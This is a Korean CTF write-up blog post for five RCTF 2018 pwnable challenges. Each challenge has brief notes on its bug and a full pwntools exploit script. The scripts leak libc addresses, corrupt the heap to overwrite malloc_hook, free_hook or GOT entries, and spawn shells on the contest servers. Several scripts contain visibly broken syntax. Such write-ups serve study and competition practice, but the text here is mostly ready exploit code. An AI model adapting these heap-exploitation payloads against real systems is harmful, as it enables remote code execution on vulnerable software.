Pwnable/CTF

RCTF 2018 Write up

HSr00t 2018. 5. 21. 15:22

Baby HEAP


운 좋게 1등으로 문제를 풀었다 !! 

 

문자열을 입력받는 함수에서 POISON-NULL-Byte 취약점이 생긴다.

취약점을 써서 뚝딱 풀면 된다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
 
#p=process('./babyheap')
p=remote('babyheap.2018.teamrois.cn',3154)
 
def alloc(size,content):
    p.sendlineafter(': ','1')
    p.sendlineafter(': ',str(size))
    p.sendlineafter(': ',content)
 
def show(idx):
    p.sendlineafter(': ','2')
    p.sendlineafter(': ',str(idx))
 
def delete(idx):
    p.sendlineafter(': ','3')
    p.sendlineafter(': ',str(idx))
 
 
alloc(24,'AAAA')
alloc(256,'B'*240+p64(0x100)+p64(0x121))
alloc(256,'CCC'#2
delete(0)
delete(1)
alloc(24,'A'*24#0
alloc(0x88,'BBBB'#1
alloc(0x60,'bbbb'#3
delete(1)
delete(2)
p.recvuntil('Exit')
p.recvuntil('Exit')
sleep(1)
alloc(0x88,'ZZZZ'#1
alloc(0x80,'bbbb'#2
alloc(0x80,'cccc'#4
delete(2)
show(3)
p.recvuntil('content: ')
main_arena = u64(p.recv(6)+'\x00\x00'+ 88 - 176
malloc_hook = main_arena - 0x10
libc_base = main_arena - 0x3c4b20
print hex(main_arena)
print hex(malloc_hook)
print hex(libc_base)
delete(4)
alloc(0x60,'aaaa')
alloc(0x60,'cccc')
delete(2)
delete(4)
delete(3)
alloc(0x60,p64(malloc_hook-0x23))
alloc(0x60,'cccc')
alloc(0x60,'aaaa')
alloc(0x60,'A'*0x13+p64(libc_base+0x4526a))
 
p.interactive()
 
cs




RNote3 

data 포인터 첫 바이트를 NULL로 만들면 되는데 그것을 생각했을 때 익스를 거의 다 짠 상태라 그냥 2번째 BYTE를 NULL로 만드는 익스를 짰다. 


취약점은 DELETE를 할 때 스택에서 NULL로 초기화를 안 시켜서 UAF 취약점이 생긴다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
 
#p=process('./RNote3')
p=remote('rnote3.2018.teamrois.cn',7322)
 
def add(title,size,content):
    sleep(0.5)
    p.sendline('1')
    p.sendlineafter('title: ',title)
    print p.sendlineafter('size: ',str(size))
    p.sendlineafter('content: ',content)
 
def view(title):
    sleep(0.5)
    p.sendline('2')
    p.sendlineafter(': ',title)
 
def edit(title,content):
    sleep(0.5)
    p.sendline('3')
    p.sendlineafter(': ',title)
    p.sendlineafter(': ',content)
 
def delete(title):
    sleep(0.5)
    p.sendline('4')
    p.sendlineafter(': ',title)
 
while True:
    try:
#        p=process('./RNote3')
        p=remote('rnote3.2018.teamrois.cn',7322)
        print p.recv(1024)
        p.sendline('-1')
        add('AAAA',24,'AAAA')
        delete('AAAA')
                delete('AAAA')
                add('',24,'AAAA')
                add('',24,'AAAA')
        add('BBBB',0xb0,p64(0x119))
        add('CCCC',24,'CCCC')
        add('DDDD',256,'/bin/sh\x00')
        delete('CCCC')
        delete('')
        view('\x40')
        if 'valid' not in p.recvuntil('title'):
            print 'Correct'
            p.recvuntil('note content: ')
            heap = u64(p.recv(6)+'\x00\x00'- 0x140
            print hex(heap)
            add('',24,'AAAA')
            add('CCCC',24,'CCCC')
            delete('')
            delete('')
            delete('BBBB')
            add('',0xb0,'BBBB')
            add(p64(heap+0x140)[0:6],24,'AAAA')
            add('!!!!',24,'@'*7+'\x00'+p64(0x500)+p64(heap+0x98))
            view('@'*7)
            p.recvuntil('note content: ')
            main_arena = u64(p.recv(6)+'\x00\x00'- 88
            libc_base = main_arena - 0x3c4b20
            free_hook = libc_base + 0x3c67a8
            print hex(main_arena)
            print hex(free_hook)
            edit('@'*7,'A'*0xa0 + p64(0+ p64(0xc0+ p64(0x21+ '@'*7 + '\x00' + p64(0x500+ p64(free_hook))
            edit('@'*7,p64(libc_base+0x45390))
            p.interactive()
        else:
            asd() #error
    except:
        print 'Error'
 
cs


Simulator


a2[0] = asm_opcode

a2[1] = reg_idx

a2[2] = reg_idx

a2[3] = reg_idx


대충 인덱스에 이런 식으로 들어간다 if 문으로 asm을 입력하면 opcode로 바꿔주고 OPCODE를 if 문으로 나누는데 


add, and, sub, slt, or 5개만 내가 입력한 문자열로 인덱스를 정해줄 수 있다.

인덱스 값 범위를 필터링 하지 않았기 때문에 OOB취약점이 생긴다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
import hashlib
import string
 
 
def proof_of_work():
    data = p.recvline().split('\n')[0]
    str_ = string.ascii_letters + string.digits
    key = ""
    check = False
    print data
    for one in str_:
        if check:
            break
        for two in str_:
            if check:
                break
            for three in str_:
                if check:
                    break
                for fo in str_:
                    key = data + one + two + three + fo
                    if check:
                        break
                    if hashlib.sha256(key).digest().startswith('\0\0\0'):
                        print (one+to+three+fo)
                        p.send(one+to+three+fo)
                        check = True
 
#p=process('./simulator')
p=remote('simulator.2018.teamrois.cn',3131)
proof_of_work()
sleep(1)
p.sendline('.text')
p.sendline('sub {0},{1},{2}'.format('4294966944','134523785','1')) #puts -> main
p.sendline('sub {0},{1},{2}'.format('4294966942','134514033','1')) #strdup -> printf
p.sendline('END')
p.sendline('.data')
sleep(1)
p.sendline('%2$p')
fgets = int(p.recv(10),16- 11 #server -> 0x5d620
libc_base = fgets - 0x5d620
system = libc_base + 0x3a940
cmd = libc_base + 0x15902b
print hex(fgets)
print hex(libc_base)
print hex(system)
print hex(cmd)
p.sendline('%159$p')
canary = int(p.recv(10),16)
print hex(canary)
p.sendline('.text')
p.sendline('sub {0},{1},{2}'.format('4294966944','134514033','1')) #puts recovery
p.sendline('END')
p.recvuntil('comment: ')
p.sendline('AAAA')
 
payload = 'A'*32
payload += p32(canary)
payload += 'B'*12
payload += p32(system)
payload += p32(cmd) * 2
 
print p.sendlineafter('comment: ',payload)
p.interactive()
 
cs


RNote4


NO-RELRO를 보고 바로 strtab덮어야지 했는데 이상하게 안 덮여서 삽질을 하다가 그냥 free@got를 system으로 브포를 돌렸다. 

문제를 풀고 다시 확인해보니 strtab을 이상하게 덮으려고 했다 ..


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
 
p=process('./RNote4')
 
def alloc(size,data):
        p.send('\x01')
        p.send(size)
        p.send(data)
 
def edit(idx,size,data):
    sleep(0.5)
        p.send('\x02')
        p.send(idx)
        p.send(size)
    p.send(data)
 
def delete(idx):
    sleep(0.5)
    p.send('\x03')
    p.send(idx)
 
while True:
    try:
#        p=process('./RNote4')
        p=remote('rnote4.2018.teamrois.cn',6767)
        alloc('\x18','A'*24)
        alloc('\x18','B'*24)
        alloc('\x18','C'*24)
        alloc('\x18','/bin/sh\x00'+'\x00'*16)
        edit('\x01','\x30','B'*40+p64(0x602018))
        delete('\x00')
        edit('\x02','\x03','\x90\x33\x56')
        delete('\x03')
        p.sendline('id;ls')
        print p.recv(1024)
        p.sendline('id;ls')
        print p.recv(1024)
        p.interactive()
    except:
        p.close()    
 
p.interactive()
cs


Stringer


문제를 보자마자 그 취약점이 생각났다.

ROOT_CTF Allocate가 아래 ptrmalloc에 나오는 calloc trick, realloc trick을 이용한 문제였는데 모르고 

realloc에서 NULL로 덮지 않았다. ㅠㅠㅠ


https://github.com/andigena/ptmalloc-fanzine


위에서 03scraps-calloc.c trick이 이 문제 핵심이다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
 
#p=process('./stringer')
p=remote('stringer.2018.teamrois.cn',7272)
 
def new(length,string):
    p.sendlineafter('choice: ','1')
    p.sendlineafter(': ',str(length))
    if(len(string) < length):
        p.sendlineafter(': ',string)
    else:
        p.sendafter(': ',string)
 
def edit(idx,byte_idx):
    p.sendlineafter('choice: ','3')
    p.sendlineafter(': ',str(idx))
    p.sendlineafter(': ',str(byte_idx))
 
def delete(idx):
    p.sendlineafter('choice: ','4')
    p.sendlineafter(': ',str(idx))
 
 
new(24,'A'*24#0
new(0x100,'B'*0x100#1
new(0x100,'C'*0x100#2
delete(1)
edit(0,24)
edit(0,24)
new(0x100,'\n'#3
p.recvuntil('your string:')
p.recv(1)
main_arena = u64(p.recv(6)+'\x00\x00'- 0x16 + 0x2c
libc_base = main_arena - 0x3c4b20
malloc_hook = main_arena - 0x10
print hex(main_arena)
print hex(libc_base)
print hex(malloc_hook)
new(0x60,'AAAA'#4
new(0x60,'BBBB'#5
delete(4)
delete(5)
delete(4)
new(0x60,p64(malloc_hook-0x23))
new(0x60,'BBBB')
new(0x60,'AAAA')
new(0x60,'A'*0x13+p64(libc_base+0xf02a4))
p.sendlineafter('choice: ','1')
p.sendlineafter('length: ','24')
 
p.interactive()
 
cs